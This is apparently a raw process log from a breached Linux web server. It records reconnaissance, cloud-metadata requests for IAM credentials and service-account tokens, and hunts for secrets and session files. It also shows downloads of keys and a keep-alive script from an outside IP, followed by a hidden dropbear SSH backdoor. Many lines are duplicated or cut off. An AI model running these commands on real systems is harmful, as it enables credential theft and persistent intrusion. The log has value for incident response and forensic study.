2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m
2026-10-31 01:18:46Not attributedNot attributedsh -> shls -la /.dockerenv /run/.containerenv
2026-10-31 01:18:46Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgro
2026-10-31 01:18:46Not attributedNot attributedtimeout -> timeoutsh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm"
2026-10-31 01:18:46Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 ec
2026-10-31 01:18:5023.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l shim.so j490.pub
2026-10-31 01:18:5023.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -la .ssh
2026-10-31 01:18:5023.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashchmod 700 .ssh
2026-10-31 01:18:5023.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashcurl -sS -o j490.pub http://206.245.153.56:8088/tools/j490/j490.pub
2026-10-31 01:18:53Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/
2026-10-31 01:18:53Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type
2026-10-31 01:18:53Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id
2026-10-31 01:18:53Not attributedNot attributedtimeout -> timeoutsh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "--
2026-10-31 01:18:53Not attributedNot attributedsh -> shtimeout 40 sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
2026-10-31 01:18:53Not attributedNot attributedsh -> shls -la /var/run/secrets/kubernetes.io/serviceaccount/
2026-10-31 01:18:53Not attributedNot attributedsh -> shls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock
2026-10-31 01:18:53Not attributedNot attributedsh -> shls -la /proc/1/root
2026-10-31 01:18:53Not attributedNot attributedsh -> shls -la /run/secrets /var/run/secrets
2026-10-31 01:19:00Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4
2026-10-31 01:19:00Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone
2026-10-31 01:19:00Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4
2026-10-31 01:19:05Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname
2026-10-31 01:19:05Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname
2026-10-31 01:19:12Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups
2026-10-31 01:19:12Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info
2026-10-31 01:19:17Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json
2026-10-31 01:19:17Not attributedNot attributedsh -> shcurl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token
2026-10-31 01:19:17Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/
2026-10-31 01:19:1823.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bash./r/usr/bin/dropbearconvert openssh dropbear /root/.ssh/c2_ed25519 dk_key
2026-10-31 01:19:1823.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashtail -5 /var/tmp/.p/db.log
2026-10-31 01:19:22Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/
2026-10-31 01:19:22Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data
2026-10-31 01:19:28Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/
2026-10-31 01:19:28Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/metadata/v1/
2026-10-31 01:19:28Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id
2026-10-31 01:19:28Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01
2026-10-31 01:19:28Not attributedNot attributedsh -> shcurl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
2026-10-31 01:19:33Not attributedNot attributedsh -> shfind /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* )
2026-10-31 01:19:33Not attributedNot attributedsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/t1 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-home* -o -pat
2026-10-31 01:19:33Not attributedNot attributedsh -> shfind /var/www /usr/share/nginx /srv/www -name .htaccess -type f
2026-10-31 01:19:33Not attributedNot attributedsh -> shfind /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n
2026-10-31 01:19:33Not attributedNot attributedsh -> shls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d
2026-10-31 01:19:33Not attributedNot attributedsh -> shfind /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n
2026-10-31 01:19:33Not attributedNot attributedsh -> shls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www
2026-10-31 01:19:33Not attributedNot attributedtimeout -> timeoutsh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root |
2026-10-31 01:19:33Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep
2026-10-31 01:19:38Not attributedNot attributedsh -> shfind /etc/apache2 -type f -size -256k
2026-10-31 01:19:38Not attributedNot attributedsh -> shfind /usr/local/etc/php -type f -size -256k
2026-10-31 01:19:38Not attributedNot attributedsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/t1 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-home* -o -pat
2026-10-31 01:19:38Not attributedNot attributedsh -> shfind /home -type f -size -256k
2026-10-31 01:19:38Not attributedNot attributedsh -> shfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/t1 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-home* -o -pat
2026-10-31 01:19:5323.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l dk_key
2026-10-31 01:19:5323.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashcurl -sS -o j490.key http://206.245.153.56:8088/tools/j490/j490.key
2026-10-31 01:20:1423.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -l dk_key
2026-10-31 01:20:3123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentbash -> bashtail -6 /var/tmp/.p/db.log
2026-10-31 01:20:4423.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c /bin/bash -l ; /bin/bash -l ; id -u ; run-parts --list --regex ^[a-zA-Z0-9_][a-zA-Z0-9._-]*\.sh$ /etc/profile.d
2026-10-31 01:20:5923.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashtail -20 /var/tmp/.p/db.log
2026-10-31 01:20:5923.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c /bin/bash -l ; /bin/bash -l ; id -u ; run-parts --list --regex ^[a-zA-Z0-9_][a-zA-Z0-9._-]*\.sh$ /etc/profile.d
2026-10-31 01:21:16Not attributedNot attributedsh -> shgrep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=t1 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --exclude=*.min.* --excl
2026-10-31 01:21:16Not attributedNot attributedtimeout -> timeoutsh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-tools' -- ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-tools' -- ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-tools' -- ; sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-tools' --
2026-10-31 01:21:16Not attributedNot attributedsh -> shtimeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-
2026-10-31 01:21:22Not attributedNot attributedsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -4000 -printf %m %u %g %p\n
2026-10-31 01:21:22Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -
2026-10-31 01:21:22Not attributedNot attributedtimeout -> timeoutsh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -perm -4000 ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -perm -4000 ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -perm -4000 ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -perm -4000
2026-10-31 01:21:22Not attributedNot attributedsh -> shfind /var/www /srv /opt /home -xdev -type f ( -name *.log -o -path */logs/* ) -size -10M -printf %s %p\n
2026-10-31 01:21:22Not attributedNot attributedsh -> shfind /var/www /srv /opt /home /tmp -xdev ( -path /tmp/t1 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\n
2026-10-31 01:21:22Not attributedNot attributedtimeout -> timeoutsh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r
2026-10-31 01:21:22Not attributedNot attributedsh -> shls -laR /var/log
2026-10-31 01:21:22Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log
2026-10-31 01:21:4123.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashtail -3 /var/tmp/.p/db.log
2026-10-31 01:21:48Not attributedNot attributedsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -2000 -printf %m %u %g %p\n
2026-10-31 01:21:5623.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c id; hostname; pwd; echo RC=0 ; id ; hostname
2026-10-31 01:22:08Not attributedNot attributedsh -> shfind /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions -maxdepth 2 -type f -name sess_* -size -64k -print
2026-10-31 01:22:08Not attributedNot attributedsh -> shfind /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions /var/www/html/var/cache -maxdepth 3 -type f ( -name sess_* -o -name *.session -o -name tokencache.* ) -printf %s\t%p\n
2026-10-31 01:22:2823.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashpgrep -af keep.sh|dropbear -F|dk_key
2026-10-31 01:22:2823.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashcurl -sS -o keep.sh http://206.245.153.56:8088/tools/j490/keep.sh
2026-10-31 01:22:2823.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashchmod +x keep.sh
2026-10-31 01:22:2823.234.81.67, 206.245.153.56206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashpgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; pgrep -f dk_key.*43485 ; sleep 20 ; pgrep -f dk_key.*43485 ; pgrep -f /var/tmp/.p/r/usr/sbin/dropbear -F ; sleep 20 ; pgrep -f 